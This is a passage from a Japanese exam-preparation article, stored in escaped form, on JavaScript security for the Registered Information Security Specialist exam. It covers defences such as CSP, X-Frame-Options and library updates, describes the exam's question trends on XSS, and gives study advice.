          \u3053\u306e\u8a2d\u5b9a\u306b\u3088\u308a\u3001\u5916\u90e8\u30b5\u30a4\u30c8\u304b\u3089\u8aad\u307f\u8fbc\u307e\u308c\u305fJavaScript\u3084\u3001HTML\u4e2d\u306b\u76f4\u63a5\u66f8\u304b\u308c\u305f<script><\/code>\u30bf\u30b0\u306e\u4e00\u90e8\u3092\u5b9f\u884c\u3067\u304d\u306a\u304f\u306a\u308a\u307e\u3059\u3002<\/p>\n
          CSP\u306f\u3001\u5b8c\u5168\u306a\u9632\u5fa1\u7b56\u3067\u306f\u3042\u308a\u307e\u305b\u3093\u304c\u3001XSS\u306e\u88ab\u5bb3\u3092\u5927\u5e45\u306b\u8efd\u6e1b\u3059\u308b\u305f\u3081\u306e\u5f37\u529b\u306a\u9632\u5fa1\u58c1<\/strong>\u3068\u306a\u308a\u307e\u3059\u3002<\/p>\n
          \u25a0 JavaScript\u306e\u7121\u52b9\u5316\u30fb\u6a5f\u80fd\u5236\u9650\u306e\u6d3b\u7528<\/h3>\n
          \u5834\u5408\u306b\u3088\u3063\u3066\u306f\u3001JavaScript\u305d\u306e\u3082\u306e\u3092\u5236\u9650\u3059\u308b\u3053\u3068\u3082\u6709\u52b9\u3067\u3059\u3002<\/p>\n
            \n
          • X-Frame-Options: DENY<\/code> \u3067\u30d5\u30ec\u30fc\u30e0\u306e\u4f7f\u7528\u3092\u5236\u9650<\/li>\n
          • \u7279\u5b9a\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u3078\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u30a2\u30af\u30bb\u30b9\u5236\u9650<\/li>\n
          • HTML\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u30a8\u30f3\u30b8\u30f3\u306b\u3088\u308b\u81ea\u52d5\u30a8\u30b9\u30b1\u30fc\u30d7\u51e6\u7406<\/li>\n<\/ul>\n
            \u3055\u3089\u306b\u3001\u8fd1\u5e74\u3067\u306f\u30d6\u30e9\u30a6\u30b6\u62e1\u5f35\u6a5f\u80fd\u3092\u7528\u3044\u305f\u5236\u9650\u3084\u3001\u30e6\u30fc\u30b6\u30fc\u306b\u3088\u308bJavaScript\u306e\u7121\u52b9\u5316\u8a2d\u5b9a\u3082\u3042\u308a\u307e\u3059\u304c\u3001\u958b\u767a\u8005\u306e\u7acb\u5834\u3068\u3057\u3066\u306f\u300c\u7121\u52b9\u5316\u3055\u308c\u3066\u3082\u5b89\u5168\u306b\u52d5\u4f5c\u3059\u308b\u8a2d\u8a08\u300d<\/strong>\u3092\u5fc3\u304c\u3051\u308b\u3079\u304d\u3067\u3059\u3002<\/p>\n
            \u25a0 \u30e9\u30a4\u30d6\u30e9\u30ea\u306e\u9078\u5b9a\u3068\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u7ba1\u7406<\/h3>\n
            \u53e4\u3044JavaScript\u30e9\u30a4\u30d6\u30e9\u30ea\u306b\u306f\u8106\u5f31\u6027\u304c\u6b8b\u3063\u3066\u3044\u308b\u3053\u3068\u304c\u591a\u3044\u305f\u3081\u3001\u5e38\u306b\u6700\u65b0\u30d0\u30fc\u30b8\u30e7\u30f3\u3092\u4f7f\u7528\u3059\u308b<\/strong>\u3053\u3068\u304c\u91cd\u8981\u3067\u3059\u3002\u307e\u305f\u3001\u5229\u7528\u3057\u3066\u3044\u308b\u30e9\u30a4\u30d6\u30e9\u30ea\u306e\u4f9d\u5b58\u95a2\u4fc2\u3082\u542b\u3081\u3066\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c1\u30a7\u30c3\u30af\u3092\u5b9a\u671f\u7684\u306b\u884c\u3044\u307e\u3057\u3087\u3046\u3002<\/p>\n
            \u8a66\u9a13\u3067\u306f\u3001\u3053\u3046\u3057\u305f\u5bfe\u7b56\u306e\u300c\u9078\u629e\u80a2\u3092\u6b63\u3057\u304f\u5224\u65ad\u3067\u304d\u308b\u304b\u300d\u304c\u554f\u308f\u308c\u307e\u3059\u3002\u300c\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u7121\u5bb3\u5316\u3059\u308b\u306b\u306f\uff1f\u300d\u300c\u30dd\u30ea\u30b7\u30fc\u8a2d\u5b9a\u3067\u9632\u3052\u308b\u304b\uff1f\u300d\u306a\u3069\u3001\u7528\u8a9e\u3068\u52b9\u679c\u306e\u7d44\u307f\u5408\u308f\u305b\u3092\u6b63\u78ba\u306b\u7406\u89e3\u3057\u3066\u304a\u304f\u3053\u3068<\/strong>\u304c\u5f97\u70b9\u306e\u9375\u3068\u306a\u308a\u307e\u3059\u3002<\/p>\n
            \u60c5\u5831\u51e6\u7406\u5b89\u5168\u78ba\u4fdd\u652f\u63f4\u58eb\u8a66\u9a13\u306b\u304a\u3051\u308b\u51fa\u984c\u50be\u5411\u3068\u653b\u7565\u30dd\u30a4\u30f3\u30c8<\/h2>\n
            \u60c5\u5831\u51e6\u7406\u5b89\u5168\u78ba\u4fdd\u652f\u63f4\u58eb\u8a66\u9a13\u3067\u306f\u3001JavaScript\u306b\u95a2\u9023\u3059\u308b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c8\u30d4\u30c3\u30af\u304c\u5348\u524d\u30fb\u5348\u5f8c\u554f\u308f\u305a\u7e70\u308a\u8fd4\u3057\u51fa\u984c<\/strong>\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u5358\u306a\u308b\u77e5\u8b58\u306e\u6709\u7121\u3067\u306f\u306a\u304f\u3001\u653b\u6483\u306e\u6d41\u308c\u30fb\u30ea\u30b9\u30af\u306e\u628a\u63e1\u30fb\u5bfe\u7b56\u306e\u9078\u629e<\/strong>\u307e\u3067\u3001\u5b9f\u52d9\u30ec\u30d9\u30eb\u306e\u7406\u89e3\u304c\u554f\u308f\u308c\u307e\u3059\u3002<\/p>\n
            \u25a0 \u5348\u524d\u8a66\u9a13\u306e\u51fa\u984c\u50be\u5411\uff08\u77e5\u8b58\u554f\u984c\uff09<\/h3>\n
            \u5348\u524dI\u30fbII\u306e\u8a66\u9a13\u3067\u306f\u3001JavaScript\u306b\u95a2\u3059\u308b\u7528\u8a9e\u30fb\u5b9a\u7fa9\u30fb\u30ea\u30b9\u30af\u8981\u56e0<\/strong>\u304c\u554f\u308f\u308c\u307e\u3059\u3002\u5177\u4f53\u7684\u306a\u51fa\u984c\u30d1\u30bf\u30fc\u30f3\u3068\u3057\u3066\u306f\u4ee5\u4e0b\u306e\u3088\u3046\u306a\u3082\u306e\u304c\u3042\u308a\u307e\u3059\uff1a<\/p>\n
              \n
            • \u300c\u30af\u30ed\u30b9\u30b5\u30a4\u30c8\u30b9\u30af\u30ea\u30d7\u30c6\u30a3\u30f3\u30b0\uff08XSS\uff09\u300d\u306e\u8aac\u660e\u3068\u3057\u3066\u9069\u5207\u306a\u3082\u306e\u3092\u9078\u3079<\/li>\n
            • JavaScript\u306eeval()<\/code>\u95a2\u6570\u306b\u95a2\u9023\u3059\u308b\u30ea\u30b9\u30af<\/li>\n
            • DOM\u30d9\u30fc\u30b9XSS\u306e\u7279\u5fb4\u3068\u5bfe\u7b56<\/li>\n
            • Content Security Policy\u306e\u5f79\u5272<\/li>\n<\/ul>\n
              \u5348\u524d\u554f\u984c\u3067\u306f\u3001\u6b63\u78ba\u306a\u7528\u8a9e\u7406\u89e3\u3068\u3001\u6280\u8853\u7684\u7279\u5fb4\u306e\u5207\u308a\u5206\u3051<\/strong>\u304c\u30dd\u30a4\u30f3\u30c8\u3068\u306a\u308a\u307e\u3059\u3002\u7279\u306b\u300c\u8907\u6570\u306e\u5bfe\u7b56\u304b\u3089\u6b63\u3057\u3044\u3082\u306e\u3092\u9078\u3076\u300d\u5f62\u5f0f\u306e\u554f\u984c\u306b\u5f37\u304f\u306a\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n
              \u25a0 \u5348\u5f8c\u8a66\u9a13\u306e\u51fa\u984c\u50be\u5411\uff08\u4e8b\u4f8b\u554f\u984c\uff09<\/h3>\n
              \u5348\u5f8c\u8a66\u9a13\u3067\u306f\u3001\u5b9f\u969b\u306eWeb\u30b7\u30b9\u30c6\u30e0\u306e\u30b7\u30ca\u30ea\u30aa\u304c\u63d0\u793a\u3055\u308c\u3001\u305d\u306e\u4e2d\u3067\u767a\u751f\u3057\u5f97\u308b\u8106\u5f31\u6027\u3092\u5206\u6790\u30fb\u6307\u6458<\/strong>\u3055\u305b\u308b\u554f\u984c\u304c\u51fa\u984c\u3055\u308c\u307e\u3059\u3002JavaScript\u306b\u95a2\u9023\u3059\u308b\u8a2d\u554f\u3067\u306f\u3001\u4ee5\u4e0b\u306e\u3088\u3046\u306a\u89b3\u70b9\u304c\u983b\u51fa\u3067\u3059\uff1a<\/p>\n
                \n
              • \u30e6\u30fc\u30b6\u30fc\u5165\u529b\u3092innerHTML<\/code>\u306b\u633f\u5165\u3057\u3066\u3044\u308b\u30b3\u30fc\u30c9\u3092\u8aad\u307f\u3001\u8106\u5f31\u6027\u306e\u6709\u7121\u3092\u5224\u65ad<\/li>\n
              • \u653b\u6483\u8005\u304cXSS\u3092\u5229\u7528\u3057\u3066\u30af\u30c3\u30ad\u30fc\u3092\u596a\u53d6\u3059\u308b\u4e00\u9023\u306e\u6d41\u308c\u3092\u8aac\u660e<\/li>\n
              • \u4e0d\u9069\u5207\u306aCSP\u8a2d\u5b9a\u3092\u6307\u6458<\/li>\n
              • \u5bfe\u7b56\u30b3\u30fc\u30c9\u3068\u3057\u3066\u6b63\u3057\u3044\u9078\u629e\u80a2\u3092\u8a18\u8ff0\uff08\u8a18\u8ff0\u5f0f\uff09<\/li>\n<\/ul>\n
                \u5348\u5f8c\u554f\u984c\u3067\u306f\u3001\u30b3\u30fc\u30c9\u306e\u8aad\u89e3\u529b\u3068\u653b\u6483\u8005\u8996\u70b9\u3067\u306e\u30b7\u30ca\u30ea\u30aa\u7406\u89e3\u529b<\/strong>\u304c\u6c42\u3081\u3089\u308c\u307e\u3059\u3002\u8868\u9762\u7684\u306a\u77e5\u8b58\u3060\u3051\u3067\u306f\u5bfe\u5fdc\u304c\u96e3\u3057\u3044\u305f\u3081\u3001\u300c\u306a\u305c\u3053\u306e\u30b3\u30fc\u30c9\u304c\u5371\u306a\u3044\u306e\u304b\u300d\u3092\u8a00\u8a9e\u5316\u3067\u304d\u308b\u304b<\/strong>\u304c\u30ab\u30ae\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n
                \u25a0 \u653b\u7565\u30dd\u30a4\u30f3\u30c8\u3068\u5b66\u7fd2\u6cd5<\/h3>\n
                \u8a66\u9a13\u5bfe\u7b56\u3068\u3057\u3066\u610f\u8b58\u3059\u3079\u304d\u30dd\u30a4\u30f3\u30c8\u306f\u6b21\u306e\u3068\u304a\u308a\u3067\u3059\uff1a<\/p>\n
                  \n
                • \u300cJavaScript\u306e\u4f55\u304c\u5371\u967a\u306a\u306e\u304b\u300d\u3092\u8ad6\u7406\u7684\u306b\u8aac\u660e\u3067\u304d\u308b\u3088\u3046\u306b\u3059\u308b<\/strong><\/li>\n
                • IPA\u304c\u63d0\u4f9b\u3059\u308b\u904e\u53bb\u554f\u3068\u89e3\u7b54\u89e3\u8aac\u3092\u4e01\u5be7\u306b\u5206\u6790<\/strong>\u3059\u308b<\/li>\n
                • \u653b\u6483\u306e\u518d\u73fe\u30fb\u78ba\u8a8d\u3092\u5b89\u5168\u306a\u74b0\u5883\u3067\u5b9f\u8df5<\/strong>\uff08XSS\u306e\u30c7\u30e2\u30b5\u30a4\u30c8\u306a\u3069\u3092\u6d3b\u7528\uff09<\/li>\n
                • HTML\u3084HTTP\u306e\u57fa\u790e\u3092\u62bc\u3055\u3048\u305f\u4e0a\u3067\u3001JavaScript\u306e\u4ed5\u69d8\u3092\u6b63\u78ba\u306b\u7406\u89e3\u3059\u308b<\/strong><\/li>\n<\/ul>\n
                  \u307e\u305f\u3001IPA\u516c\u5f0f\u30b5\u30a4\u30c8\u306b\u3042\u308b\u300c\u5b89\u5168\u306a\u30a6\u30a7\u30d6\u30b5\u30a4\u30c8\u306e\u4f5c\u308a\u65b9<\/strong>\u300d\u3084\u300c\u8106\u5f31\u6027\u5bfe\u5fdc\u30ac\u30a4\u30c9\u30e9\u30a4\u30f3<\/strong>\u300d\u3082\u3001\u5348\u5f8c\u5bfe\u7b56\u3068\u3057\u3066\u975e\u5e38\u306b\u6709\u7528\u3067\u3059\u3002\u3053\u3046\u3057\u305f\u516c\u7684\u8cc7\u6599\u3092\u30d9\u30fc\u30b9\u306b\u3001\u6b63\u3057\u3044\u5bfe\u7b56\u3068\u305d\u306e\u7406\u7531\u3092\u6574\u7406\u3057\u3066\u304a\u304f\u3068\u3001\u8a18\u8ff0\u554f\u984c\u3067\u3082\u8aac\u5f97\u529b\u306e\u3042\u308b\u89e3\u7b54\u304c\u53ef\u80fd\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n
                  \u307e\u3068\u3081\u2502JavaScript\u306e\u30ea\u30b9\u30af\u3092\u7406\u89e3\u3057\u3001\u5b89\u5168\u306aWeb\u5b9f\u88c5\u3078<\/h2>\n
                  JavaScript\u306f\u3001\u73fe\u4ee3\u306eWeb\u30b7\u30b9\u30c6\u30e0\u306b\u304a\u3044\u3066\u6b20\u304b\u3059\u3053\u3068\u306e\u3067\u304d\u306a\u3044\u6280\u8853\u3067\u3059\u304c\u3001\u305d\u306e\u5f37\u529b\u306a\u8868\u73fe\u529b\u3084\u67d4\u8edf\u6027\u306f\u3001\u4f7f\u3044\u65b9\u3092\u8aa4\u308c\u3070\u91cd\u5927\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4e8b\u6545\u306b\u3064\u306a\u304c\u308b<\/strong>\u53ef\u80fd\u6027\u3092\u79d8\u3081\u3066\u3044\u307e\u3059\u3002\u7279\u306bXSS\u3084\u30af\u30ea\u30c3\u30af\u30b8\u30e3\u30c3\u30ad\u30f3\u30b0\u3068\u3044\u3063\u305f\u8105\u5a01\u306f\u3001\u958b\u767a\u8005\u306e\u4e9b\u7d30\u306a\u6cb9\u65ad\u3092\u7a81\u3044\u3066\u60aa\u7528\u3055\u308c\u307e\u3059\u3002<\/p>\n
                  \u60c5\u5831\u51e6\u7406\u5b89\u5168\u78ba\u4fdd\u652f\u63f4\u58eb\u8a66\u9a13\u3067\u306f\u3001\u3053\u3046\u3057\u305f\u30ea\u30b9\u30af\u306b\u5bfe\u3059\u308b\u77e5\u8b58\u30fb\u5206\u6790\u529b\u30fb\u5224\u65ad\u529b<\/strong>\u304c\u554f\u308f\u308c\u307e\u3059\u3002\u305f\u3060\u7528\u8a9e\u3092\u4e38\u6697\u8a18\u3059\u308b\u3060\u3051\u3067\u306f\u306a\u304f\u3001\u300c\u306a\u305c\u305d\u306e\u30ea\u30b9\u30af\u304c\u751f\u307e\u308c\u308b\u306e\u304b\u300d\u300c\u3069\u3093\u306a\u5bfe\u7b56\u304c\u6709\u52b9\u306a\u306e\u304b\u300d<\/strong>\u3092\u7406\u89e3\u3057\u3001\u8aac\u660e\u3067\u304d\u308b\u529b\u3092\u8eab\u306b\u3064\u3051\u308b\u3053\u3068\u304c\u91cd\u8981\u3067\u3059\u3002<\/p>\n
                  \u8a66\u9a13\u5bfe\u7b56\u3068\u3057\u3066\u306f\u3001\u4ee5\u4e0b\u306e\u30dd\u30a4\u30f3\u30c8\u3092\u610f\u8b58\u3057\u307e\u3057\u3087\u3046\uff1a<\/p>\n
                    \n
                  • JavaScript\u306b\u95a2\u3059\u308b\u57fa\u672c\u4ed5\u69d8\u3068\u8106\u5f31\u6027\u30d1\u30bf\u30fc\u30f3\u306e\u628a\u63e1<\/strong><\/li>\n
                  • \u653b\u6483\u8005\u8996\u70b9<\/strong>\u3067\u8003\u3048\u308b\u30b7\u30ca\u30ea\u30aa\u5206\u6790\u529b\u306e\u7fd2\u5f97<\/li>\n
                  • \u5b89\u5168\u306a\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u3068\u30d6\u30e9\u30a6\u30b6\u5236\u5fa1\u7b56\u306e\u7406\u89e3<\/strong><\/li>\n
                  • \u904e\u53bb\u554f\u3092\u7528\u3044\u305f\u5b9f\u8df5\u7684\u306a\u6f14\u7fd2\u3068\u8a18\u8ff0\u30c8\u30ec\u30fc\u30cb\u30f3\u30b0<\/strong><\/li>\n<\/ul>\n
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